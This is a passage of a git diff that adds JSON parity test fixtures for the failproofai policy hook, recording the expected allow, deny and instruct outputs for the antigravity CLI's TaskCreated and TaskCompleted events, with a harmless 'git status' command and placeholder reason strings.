"session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"deny\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/TaskCompleted/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/antigravity/TaskCompleted/deny__tool-present__one-policy.json new file mode 100644 index 00000000..027397d0 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/TaskCompleted/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "antigravity", + "decision_kind": "deny", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"deny\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/TaskCompleted/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/antigravity/TaskCompleted/deny__tool-present__two-policies.json new file mode 100644 index 00000000..0b958645 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/TaskCompleted/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "antigravity", + "decision_kind": "deny", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"deny\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/TaskCompleted/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/antigravity/TaskCompleted/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..84062a9f --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/TaskCompleted/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "antigravity", + "decision_kind": "instruct", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/TaskCompleted/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/antigravity/TaskCompleted/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..3005b666 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/TaskCompleted/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "antigravity", + "decision_kind": "instruct", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/TaskCompleted/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/antigravity/TaskCompleted/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..239bb546 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/TaskCompleted/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "antigravity", + "decision_kind": "instruct", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/TaskCompleted/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/antigravity/TaskCompleted/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..639d0300 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/TaskCompleted/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "antigravity", + "decision_kind": "instruct", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/TaskCreated/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/antigravity/TaskCreated/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..14f2f288 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/TaskCreated/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "antigravity", + "decision_kind": "allow-silent", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/TaskCreated/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/antigravity/TaskCreated/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..e74ee02a --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/TaskCreated/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "antigravity", + "decision_kind": "allow-silent", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/TaskCreated/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/antigravity/TaskCreated/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..8d17fb77 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/TaskCreated/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "antigravity", + "decision_kind": "allow-silent", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/TaskCreated/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/antigravity/TaskCreated/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..4e18400f --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/TaskCreated/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "antigravity", + "decision_kind": "allow-silent", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/TaskCreated/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/antigravity/TaskCreated/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..9560371f --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/TaskCreated/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "antigravity", + "decision_kind": "allow-with-reason", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/TaskCreated/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/antigravity/TaskCreated/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..efea6285 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/TaskCreated/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "antigravity", + "decision_kind": "allow-with-reason", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/TaskCreated/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/antigravity/TaskCreated/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..f1419e0f --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/TaskCreated/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "antigravity", + "decision_kind": "allow-with-reason", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/TaskCreated/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/antigravity/TaskCreated/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..304dccef --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/TaskCreated/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "antigravity", + "decision_kind": "allow-with-reason", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/TaskCreated/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/antigravity/TaskCreated/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..5d8c5756 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/TaskCreated/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "antigravity", + "decision_kind": "deny", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"deny\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/TaskCreated/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/antigravity/TaskCreated/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..f24174a7 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/TaskCreated/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "antigravity", + "decision_kind": "deny", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"deny\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/TaskCreated/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/antigravity/TaskCreated/deny__tool-present__one-policy.json new file mode 100644 index 00000000..72b42e3e --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/TaskCreated/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "antigravity", + "decision_kind": "deny", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"deny\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/TaskCreated/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/antigravity/TaskCreated/deny__tool-present__two-policies.json new file mode 100644 index 00000000..0ec5cded --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/TaskCreated/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "antigravity", + "decision_kind": "deny", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"deny\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/TaskCreated/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/antigravity/TaskCreated/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..a87baf90 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/TaskCreated/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "antigravity", + "decision_kind": "instruct", + "event": "TaskCreated", + "input": { + 